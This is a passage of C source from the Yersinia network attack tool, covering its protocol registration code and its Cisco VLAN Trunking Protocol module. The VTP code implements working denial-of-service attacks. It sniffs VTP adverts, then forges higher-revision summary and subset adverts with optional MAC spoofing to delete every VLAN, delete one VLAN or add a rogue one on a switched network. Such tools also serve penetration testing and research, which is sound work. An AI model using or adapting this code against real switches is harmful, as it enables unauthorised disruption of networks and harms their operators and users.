protocol[MAX_PROTOCOLS]; u_int8_t mac_spoofing; void *specific; }; #define INITIAL 0 #define RUNNING 1 #define STOPPED 2 struct terminals { struct term_node list[MAX_TERMS]; pthread_mutex_t mutex; #ifndef HAVE_RAND_R pthread_mutex_t mutex_rand; #endif u_int8_t work_state; THREAD uptime_th; THREAD admin_listen_th; THREAD pcap_listen_th; #ifdef HAS_CURSES THREAD gui_th; #endif #ifdef HAVE_GTK THREAD gui_gtk_th; #endif }; struct term_types { char *name; struct term_node *list; u_int16_t max; }; struct term_states { char *name; char *prompt2; char *prompt_authing; int8_t key_able; int8_t key_cursor; int8_t key_help; int8_t do_echo; u_int32_t timeout; }; struct tlv_options { u_int16_t type; u_int16_t length; u_int8_t value[MAX_VALUE_LENGTH]; }; #endif yersinia-0.7.3/src/protocols.c0000644000175000017500000002043512234207266014135 0ustar nknk/* protocols.c * Protocols stuff * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: protocols.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include "protocols.h" void protocol_init(void) { protocol_register_all(); } int8_t protocol_register(u_int8_t proto, const char *name, const char *desc, const char *name_comm, u_int16_t size, init_attribs_t init, learn_packet_t learn, get_printable_packet_t packet, get_printable_store_t store, load_values_t load, struct attack *attacks, update_field_t update_field, struct proto_features *features, struct commands_param *param, u_int8_t nparams, struct commands_param_extra *extra_parameters, u_int8_t extra_nparams, get_extra_field_t extra, init_commands_struct_t init_commands, u_int8_t visible, end_t end) { u_int8_t i; if (proto > MAX_PROTOCOLS) return -1; protocols[proto].proto = proto; strncpy(protocols[proto].namep, name, MAX_PROTO_NAME); strncpy(protocols[proto].description, desc, MAX_PROTO_DESCRIPTION); strncpy(protocols[proto].name_comm, name_comm, MAX_PROTO_NAME); protocols[proto].size = size; protocols[proto].active = 1; /* default is active */ protocols[proto].visible = visible; protocols[proto].init_attribs = init; protocols[proto].learn_packet = learn; protocols[proto].get_printable_packet = packet; protocols[proto].get_printable_store = store; protocols[proto].load_values = load; protocols[proto].attacks = attacks; protocols[proto].update_field = update_field; protocols[proto].features = features; protocols[proto].parameters = param; protocols[proto].nparams = nparams; protocols[proto].extra_parameters = extra_parameters; protocols[proto].extra_nparams = extra_nparams; protocols[proto].get_extra_field = extra; protocols[proto].init_commands_struct = init_commands; protocols[proto].end = end; for (i = 0; i < MAX_PACKET_STATS; i++) { if ((protocols[proto].stats[i].header = (struct pcap_pkthdr *) calloc(1, sizeof(struct pcap_pkthdr))) == NULL) return -1; if ((protocols[proto].stats[i].packet = (u_char *) calloc(1, SNAPLEN)) == NULL) return -1; } protocols[proto].packets = 0; protocols[proto].packets_out = 0; /* Default values */ if ((protocols[proto].default_values = calloc(1, size)) == NULL) return -1; #ifdef HAVE_REMOTE_ADMIN /* Sorted CLI parameters...*/ protocols[proto].params_sort = (u_int8_t *)calloc(1,nparams); if (protocols[proto].params_sort == NULL) return -1; for(i=0; i < nparams; i++) protocols[proto].params_sort[i] = i; protocol_sort_params(proto,protocols[proto].params_sort,nparams); #endif return 0; } int8_t protocol_register_tlv(u_int8_t proto, edit_tlv_t edit_tlv, const struct tuple_type_desc *ttd, struct attack_param *tlv, u_int16_t params) { if (proto > MAX_PROTOCOLS) return -1; protocols[proto].edit_tlv = edit_tlv; protocols[proto].ttd = ttd; protocols[proto].tlv = tlv; protocols[proto].tlv_params = params; return 0; } void protocol_register_all(void) { { extern void xstp_register(void); xstp_register(); } { extern void cdp_register(void); cdp_register(); } { extern void dtp_register(void); dtp_register(); } { extern void dhcp_register(void); dhcp_register(); } { extern void hsrp_register(void); hsrp_register(); } { extern void dot1q_register(void); dot1q_register(); } { extern void isl_register(void); isl_register(); } { extern void vtp_register(void); vtp_register(); } { extern void arp_register(void); arp_register(); } { extern void dot1x_register(void); dot1x_register(); } { extern void mpls_register(void); mpls_register(); } } void protocol_destroy(void) { int8_t i, j; for (i = 0; i < MAX_PROTOCOLS; i++) { for (j = 0; j < MAX_PACKET_STATS; j++) { if (protocols[i].stats[j].header) free(protocols[i].stats[j].header); if (protocols[i].stats[j].packet) free(protocols[i].stats[j].packet); } if (protocols[i].default_values) free(protocols[i].default_values); #ifdef HAVE_REMOTE_ADMIN /* Ordered CLI parameters...*/ if (protocols[i].params_sort) free(protocols[i].params_sort); #endif } } char ** protocol_create_printable(u_int8_t size, struct commands_param *params) { u_int8_t i, k; char **field_values; field_values = NULL; /* +2 for the extra values and the null */ if ((field_values = (char **) calloc(1, (size+2)* sizeof(u_int8_t *))) == NULL) { printf("Error in calloc\n"); return NULL; } k = 0; for (i = 0; i < size; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].size_print > 0)) { /* write_log(0, "Creando i=%d k=%d %s size_print=%d\n", i, k, params[i].ldesc, params[i].size_print); */ if ((field_values[k] = (char *) calloc(1, (params[i].size_print + 1) * sizeof(char))) == NULL) { printf("Error in calloc\n"); return NULL; } k++; } } return field_values; } /* * Return the index associated to the protocol 'name' being 'name' the name * used in the CLI and in command line. * The protocol must be a *VISIBLE* one. * Return -1 if protocol 'name' doesn't exist */ int8_t protocol_proto2index(char *name) { u_int8_t i=0; while (i < MAX_PROTOCOLS) { if (protocols[i].visible) { if (!strcasecmp(protocols[i].name_comm, name)) return (protocols[i].proto); } ++i; } return -1; } int8_t protocol_extra_compare(void *data, void *pattern) { struct commands_param_extra *extra; extra = (struct commands_param_extra *) data; write_log(0, "comparando %ld con %ld\n", extra->id, (*(u_int32_t *)pattern)); return(memcmp(&extra->id, pattern, 4)); } #ifdef HAVE_REMOTE_ADMIN /* * Sort parameter list alphabetically */ void protocol_sort_params(u_int8_t proto, u_int8_t *aux_comm, u_int8_t nparams) { u_int8_t i, j, aux_data; char *aux; for(i=0; i < nparams; i++) { for(j=nparams-1; j > i; --j) { aux = protocol_sort_str(protocols[proto].parameters[aux_comm[j-1]].desc, protocols[proto].parameters[aux_comm[j]].desc); if (aux == protocols[proto].parameters[aux_comm[j-1]].desc) { aux_data = aux_comm[j-1]; aux_comm[j-1] = aux_comm[j]; aux_comm[j] = aux_data; } } } } char * protocol_sort_str(char *s1, char *s2) { int len, i; char c1, c2; if (strlen(s1) c2) return s1; if (c1 < c2) return s2; } if (strlen(s1)< strlen(s2)) return s2; return s1; } #endif yersinia-0.7.3/src/vtp.c0000644000175000017500000014202412234207266012721 0ustar nknk/* vtp.c * Implementation and attacks for Cisco's VLAN Trunking Protocol * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: vtp.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #include #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #ifdef HAVE_PTHREAD_H #include #endif #include #include "vtp.h" void vtp_register(void) { protocol_register(PROTO_VTP, "VTP", "VLAN Trunking Protocol", "vtp", sizeof(struct vtp_data), vtp_init_attribs, vtp_learn_packet, vtp_get_printable_packet, vtp_get_printable_store, vtp_load_values, vtp_attack, vtp_update_field, vtp_features, vtp_comm_params, SIZE_ARRAY(vtp_comm_params), NULL, 0, NULL, vtp_init_comms_struct, PROTO_VISIBLE, vtp_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t vtp_init_comms_struct(struct term_node *node) { struct vtp_data *vtp_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(vtp_comm_params)); if (comm_param == NULL) { thread_error("vtp_init_commands_struct calloc error",errno); return -1; } vtp_data = node->protocol[PROTO_VTP].tmp_data; node->protocol[PROTO_VTP].commands_param = comm_param; comm_param[VTP_SMAC] = &vtp_data->mac_source; comm_param[VTP_DMAC] = &vtp_data->mac_dest; comm_param[VTP_VERSION] = &vtp_data->version; comm_param[VTP_CODE] = &vtp_data->code; comm_param[VTP_DOMAIN] = &vtp_data->domain; comm_param[VTP_MD5] = &vtp_data->md5; comm_param[VTP_UPDATER] = &vtp_data->updater; comm_param[VTP_REVISION] = &vtp_data->revision; comm_param[VTP_TIMESTAMP] = &vtp_data->timestamp; comm_param[VTP_STARTVAL] = &vtp_data->start_val; comm_param[VTP_FOLLOWERS] = &vtp_data->followers; comm_param[VTP_SEQ] = &vtp_data->seq; comm_param[12] = NULL; comm_param[13] = NULL; comm_param[VTP_VLAN] = &vtp_data->options; return 0; } void vtp_th_send(void *arg) { struct attacks *attacks=NULL; struct vtp_data *vtp_data; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); vtp_data = attacks->data; vtp_data->dom_len = strlen(vtp_data->domain); write_log(0,"\n\nvtp_th_send domain=%s dom_len=%d\n\n",vtp_data->domain,vtp_data->dom_len); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_send pthread_sigmask()",errno); vtp_th_send_exit(attacks); } vtp_send(attacks); vtp_th_send_exit(attacks); } void vtp_th_send_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t vtp_send(struct attacks *attacks) { libnet_ptag_t t; libnet_t *lhandler; u_int32_t vtp_len=0, sent; struct vtp_data *vtp_data; struct vtp_summary *vtp_summ; struct vtp_subset *vtp_subset; struct vtp_request *vtp_request; struct vtp_join *vtp_join; u_int8_t *vtp_packet, *aux; u_int8_t cisco_data[]={ 0x00, 0x00, 0x0c, 0x20, 0x03 }; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; vtp_data = attacks->data; switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_summary); break; case VTP_SUBSET_ADVERT: vtp_len = sizeof(cisco_data)+sizeof(struct vtp_subset)+vtp_data->vlans_len; break; case VTP_REQUEST: vtp_len = sizeof(cisco_data)+38; break; case VTP_JOIN: vtp_len = sizeof(cisco_data)+40+126; break; default: vtp_len = sizeof(cisco_data)+30; break; } vtp_packet = calloc(1,vtp_len); if (vtp_packet == NULL) { thread_error("vtp_send calloc error",errno); return -1; } aux = vtp_packet; memcpy(vtp_packet,cisco_data,sizeof(cisco_data)); aux+=sizeof(cisco_data); switch(vtp_data->code) { case VTP_SUMM_ADVERT: vtp_summ = (struct vtp_summary *)aux; vtp_summ->version = vtp_data->version; vtp_summ->code = vtp_data->code; vtp_summ->followers = vtp_data->followers; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_summ->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_summ->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_summ->dom_len = vtp_data->dom_len; memcpy(vtp_summ->domain,vtp_data->domain,vtp_data->dom_len); } vtp_summ->revision = htonl(vtp_data->revision); vtp_summ->updater = htonl(vtp_data->updater); memcpy(vtp_summ->timestamp,vtp_data->timestamp,VTP_TIMESTAMP_SIZE); memcpy(vtp_summ->md5,vtp_data->md5,16); break; case VTP_SUBSET_ADVERT: vtp_subset = (struct vtp_subset *)aux; vtp_subset->version = vtp_data->version; vtp_subset->code = vtp_data->code; vtp_subset->seq = vtp_data->seq; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_subset->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_subset->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_subset->dom_len = vtp_data->dom_len; memcpy(vtp_subset->domain,vtp_data->domain,vtp_data->dom_len); } vtp_subset->revision = htonl(vtp_data->revision); if (vtp_data->vlans_len) memcpy((vtp_subset+1),vtp_data->vlan_info,vtp_data->vlans_len); break; case VTP_REQUEST: vtp_request = (struct vtp_request *)aux; vtp_request->version = vtp_data->version; vtp_request->code = vtp_data->code; vtp_request->reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_request->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_request->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_request->dom_len = vtp_data->dom_len; memcpy(vtp_request->domain,vtp_data->domain,vtp_data->dom_len); } vtp_request->start_val = htons(vtp_data->start_val); break; case VTP_JOIN: vtp_join = (struct vtp_join *)aux; vtp_join->version = vtp_data->version; vtp_join->code = vtp_data->code; vtp_join->maybe_reserved = 0; if (vtp_data->dom_len > VTP_DOMAIN_SIZE) { vtp_join->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_join->domain,vtp_data->domain,VTP_DOMAIN_SIZE); } else { vtp_join->dom_len = vtp_data->dom_len; memcpy(vtp_join->domain,vtp_data->domain,vtp_data->dom_len); } vtp_join->vlan = htonl(0x000003ef); vtp_join->unknown[0] = 0x40; break; default: aux[0]=vtp_data->version; aux[1]=vtp_data->code; break; } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_802_2( 0xaa, /* DSAP */ 0xaa, /* SSAP */ 0x03, /* control */ vtp_packet, /* payload */ vtp_len, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } t = libnet_build_802_3( vtp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? vtp_data->mac_source : iface_data->etheraddr, /* ethernet source */ LIBNET_802_2_H + vtp_len, /* frame size */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); free(vtp_packet); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_VTP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_VTP]++; } free(vtp_packet); return 0; } /* * Delete all VTP vlans */ void vtp_th_dos_del_all(void *arg) { struct attacks *attacks=NULL; struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct timeval now; u_int8_t *packet=NULL, *cursor; sigset_t mask; /* Cisco default vlans */ u_int8_t vlan_cisco[]={ 0x14, 0x00, 0x01, 0x07, 0x00, 0x01, 0x05, 0xdc, 0x00, 0x01, 0x86, 0xa1, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x20, 0x00, 0x02, 0x0c, 0x03, 0xea, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8a, 0x66, 0x64, 0x64, 0x69, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x28, 0x00, 0x03, 0x12, 0x03, 0xeb, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8b, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2d, 0x72, 0x69, 0x6e, 0x67, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x04, 0x01, 0x00, 0x00, 0x24, 0x00, 0x04, 0x0f, 0x03, 0xec, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8c, 0x66, 0x64, 0x64, 0x69, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x01, 0x24, 0x00, 0x05, 0x0d, 0x03, 0xed, 0x05, 0xdc, 0x00, 0x01, 0x8a, 0x8d, 0x74, 0x72, 0x6e, 0x65, 0x74, 0x2d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74, 0x00, 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x03, 0x01, 0x00, 0x02 }; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del_all pthread_sigmask()",errno); vtp_th_dos_del_all_exit(attacks); } vtp_data = attacks->data; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) vtp_th_dos_del_all_exit(attacks); while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != VTP_SUBSET_ADVERT) ) continue; write_log(0," Domain %s\n",vtp_data_learned.domain); write_log(0," Dom_len %d\n",vtp_data_learned.dom_len); write_log(0," Followers %d\n",vtp_data_learned.followers); write_log(0," Revision %X\n",(vtp_data_learned.revision+1)); if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vlan_cisco, sizeof(vlan_cisco), vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; thread_usleep(200000); if (vtp_send(attacks)< 0) break; thread_usleep(200000); vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlan_info = vlan_cisco; vtp_data->vlans_len = sizeof(vlan_cisco); vtp_send(attacks); break; } free(packet); vtp_th_dos_del_all_exit(attacks); } /* * Generate the MD5 hash for a VTP Summary-Advert packet */ int8_t vtp_generate_md5(char *secret, u_int32_t updater, u_int32_t revision, char *domain, u_int8_t dom_len, u_int8_t *vlans, u_int16_t vlans_len, u_int8_t *md5, u_int8_t version) { u_int8_t *data, md5_secret[16]; struct vtp_summary *vtp_summ; /* Space for the data (MD5+SUMM_ADVERT+VLANS+MD5)...*/ if ( (data = calloc(1, (16+sizeof(struct vtp_summary)+vlans_len+16))) == NULL) { thread_error("vtp_generate_md5 calloc()",errno); return -1; } /* Do MD5 secret...*/ if (secret) md5_sum(data, strlen(secret), md5_secret); vtp_summ = (struct vtp_summary *)(data+16); write_log(0,"Se calcula MD5 con version=%d\n",version); vtp_summ->version = version; vtp_summ->code = 0x01; if (dom_len > VTP_DOMAIN_SIZE) { vtp_summ->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_summ->domain,domain,VTP_DOMAIN_SIZE); } else { vtp_summ->dom_len = dom_len; memcpy(vtp_summ->domain,domain,dom_len); } vtp_summ->updater = htonl(updater); vtp_summ->revision = htonl(revision); if (vlans_len) memcpy((void *)(vtp_summ+1),vlans,vlans_len); if (secret) memcpy((void *)(data+16+sizeof(struct vtp_summary)+vlans_len),md5_secret,16); md5_sum(data, (32+sizeof(struct vtp_summary)+vlans_len), md5); free(data); return 0; } void vtp_th_dos_del_all_exit(struct attacks *attacks) { if (attacks) attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Delete 1 VTP vlan */ void vtp_th_dos_del(void *arg) { struct attacks *attacks=NULL; sigset_t mask; attacks = arg; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("vtp_th_dos_del pthread_sigmask()",errno); vtp_th_dos_del_exit(attacks); } vtp_modify_vlan(VTP_VLAN_DEL,attacks); vtp_th_dos_del_exit(attacks); } void vtp_modify_vlan(u_int8_t op, struct attacks *attacks) { struct vtp_data *vtp_data, vtp_data_learned; struct pcap_pkthdr header; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; struct attack_param *param=NULL; struct timeval now; u_int8_t *packet=NULL, *cursor=NULL; char *vlan_name = NULL; u_int16_t *vlan=NULL; vtp_data = attacks->data; param = attacks->params; vlan = (u_int16_t *)param[VTP_PARAM_VLAN_ID].value; if (op == VTP_VLAN_ADD) vlan_name = (char *)param[VTP_PARAM_VLAN_NAME].value; gettimeofday(&now, NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if ((packet = calloc(1, SNAPLEN)) == NULL) return; while (!attacks->attack_th.stop) { memset((void *)&vtp_data_learned,0,sizeof(struct vtp_data)); interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_VTP, NO_TIMEOUT); if (attacks->attack_th.stop) break; cursor = (packet + LIBNET_802_3_H + LIBNET_802_2_H); ether = (struct libnet_802_3_hdr *) packet; if (!memcmp(vtp_data->mac_source,ether->_802_3_shost,6) ) continue; /* Oops!! Its our packet... */ pcap_aux.header = &header; pcap_aux.packet = packet; if (vtp_load_values(&pcap_aux, &vtp_data_learned) < 0) continue; if ((vtp_data_learned.code != VTP_SUMM_ADVERT) && (vtp_data_learned.code != VTP_SUBSET_ADVERT) ) continue; if (vtp_data_learned.code == VTP_SUMM_ADVERT) { if ( !vtp_data_learned.followers) { write_log(0,"vtp_attack: No followers. Sending Request...\n"); vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_REQUEST; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->start_val = 1; if (vtp_send(attacks)< 0) break; } continue; } write_log(0," Domain %s\n",vtp_data_learned.domain); write_log(0," Dom_len %d\n",vtp_data_learned.dom_len); write_log(0," Revision %X\n",(vtp_data_learned.revision+1)); write_log(0," Vlan_len %d\n",vtp_data_learned.vlans_len); if (op == VTP_VLAN_DEL) { if (vtp_del_vlan(*vlan, vtp_data_learned.vlan_info, &vtp_data_learned.vlans_len) < 0) { write_log(0," vtp_del_attack: VLAN %d not existent. Aborting...\n",*vlan); break; } } else /* Add vlan...*/ { if (vtp_add_vlan(*vlan, vlan_name, &vtp_data_learned.vlan_info, &vtp_data_learned.vlans_len) < 0) { write_log(0," vtp_add_attack: VLAN %d existent. Aborting...\n",*vlan); break; } } if (vtp_generate_md5( NULL, vtp_data->updater, (vtp_data_learned.revision+1), vtp_data_learned.domain, vtp_data_learned.dom_len, vtp_data_learned.vlan_info, vtp_data_learned.vlans_len, vtp_data->md5, vtp_data_learned.version) < 0) break; vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_SUMM_ADVERT; vtp_data->followers = 1; if (vtp_data_learned.dom_len > VTP_DOMAIN_SIZE) { vtp_data->dom_len = VTP_DOMAIN_SIZE; memcpy(vtp_data->domain,vtp_data_learned.domain,VTP_DOMAIN_SIZE); } else { vtp_data->dom_len = vtp_data_learned.dom_len; memcpy(vtp_data->domain,vtp_data_learned.domain,vtp_data_learned.dom_len); } vtp_data->revision = vtp_data_learned.revision+1; if (vtp_send(attacks)< 0) break; thread_usleep(200000); vtp_data->version = vtp_data_learned.version; vtp_data->code = VTP_SUBSET_ADVERT; vtp_data->seq = 1; vtp_data->vlans_len = vtp_data_learned.vlans_len; vtp_data->vlan_info = vtp_data_learned.vlan_info; write_log(0," Vlan_len after = %d\n",vtp_data_learned.vlans_len); vtp_send(attacks); break; } free(packet); } int8_t vtp_del_vlan(u_int16_t vlan, u_int8_t *vlans, u_int16_t *vlen) { struct vlan_info *vlan_info, *vlan_info2; u_int8_t gotit=0, *cursor, *cursor2; u_int16_t len=0, vlans_len=0; vlans_len = *vlen; cursor = vlans; while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { vlan_info = (struct vlan_info *) cursor; if ((cursor+vlan_info->len) > (vlans+vlans_len)) break; if (ntohs(vlan_info->id) == vlan) { write_log(0,"VLAN gotit!!\n"); gotit=1; cursor+=vlan_info->len; len = vlans_len-vlan_info->len; if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { cursor2 = (u_int8_t *)vlan_info; vlan_info2 = (struct vlan_info *) cursor2; if ((cursor2+vlan_info2->len) > (vlans+vlans_len)) { /* Oversized!! */ gotit=0; write_log(0," Oversized vlan length. Aborting...\n"); break; } write_log(0," *NOT* the last VLAN, moving %d bytes...\n", ( (vlans+vlans_len) - (cursor2+vlan_info->len))); memcpy((void *)vlan_info, (void *)(cursor2+vlan_info->len), ((vlans+vlans_len) - (cursor2+vlan_info->len))); } break; } cursor+=vlan_info->len; } if (!gotit) return -1; *vlen = len; return 0; } int8_t vtp_add_vlan(u_int16_t vlan, char *vlan_name, u_int8_t **vlans_ptr, u_int16_t *vlen) { struct vlan_info *vlan_info, *vlan_info2; u_int8_t *cursor, *cursor2, *aux, *vlans, *last_init=NULL; u_int16_t len=0, vlans_len, last_id=0, last_len=0; vlans = *vlans_ptr; vlans_len = *vlen; aux = (u_int8_t *)calloc(1,vlans_len+sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name))); if (aux == NULL) { thread_error("vtp_add_vlan calloc()", errno); return -1; } cursor = vlans; while( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { vlan_info = (struct vlan_info *) cursor; if ((cursor+vlan_info->len) > (vlans+vlans_len)) break; if ( (ntohs(last_id)<= vlan) && (ntohs(vlan_info->id)>= vlan) ) { if (last_init == NULL) /* First VLAN */ { vlan_info = (struct vlan_info *) aux; vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 = htonl(vlan+VTP_DOT10_BASE); memcpy((void *)(vlan_info+1),vlan_name,strlen(vlan_name)); /* Now copy all the rest of vlans...*/ memcpy((void *)(aux+vlan_info->len),vlans,vlans_len); *vlen = vlan_info->len+vlans_len; *vlans_ptr = aux; return 0; } cursor+=vlan_info->len; len = vlans_len-vlan_info->len; if ( (cursor+sizeof(struct vlan_info)) < (vlans+vlans_len)) { cursor2 = (u_int8_t *)vlan_info; vlan_info2 = (struct vlan_info *) cursor2; if ((cursor2+vlan_info2->len) > (vlans+vlans_len)) { /* Oversized!! */ write_log(0," Oversized vlan length. Aborting...\n"); free(aux); return -1; } memcpy(aux,(void *)*vlans_ptr,( (last_init+last_len) - vlans )); vlan_info = (struct vlan_info *) (aux+ ((last_init+last_len) - vlans)); vlan_info->len = sizeof(struct vlan_info)+VLAN_ALIGNED_LEN(strlen(vlan_name)); vlan_info->status = 0x00; vlan_info->type = VLAN_TYPE_ETHERNET; vlan_info->name_len = strlen(vlan_name); vlan_info->id = htons(vlan); vlan_info->mtu = htons(1500); vlan_info->dot10 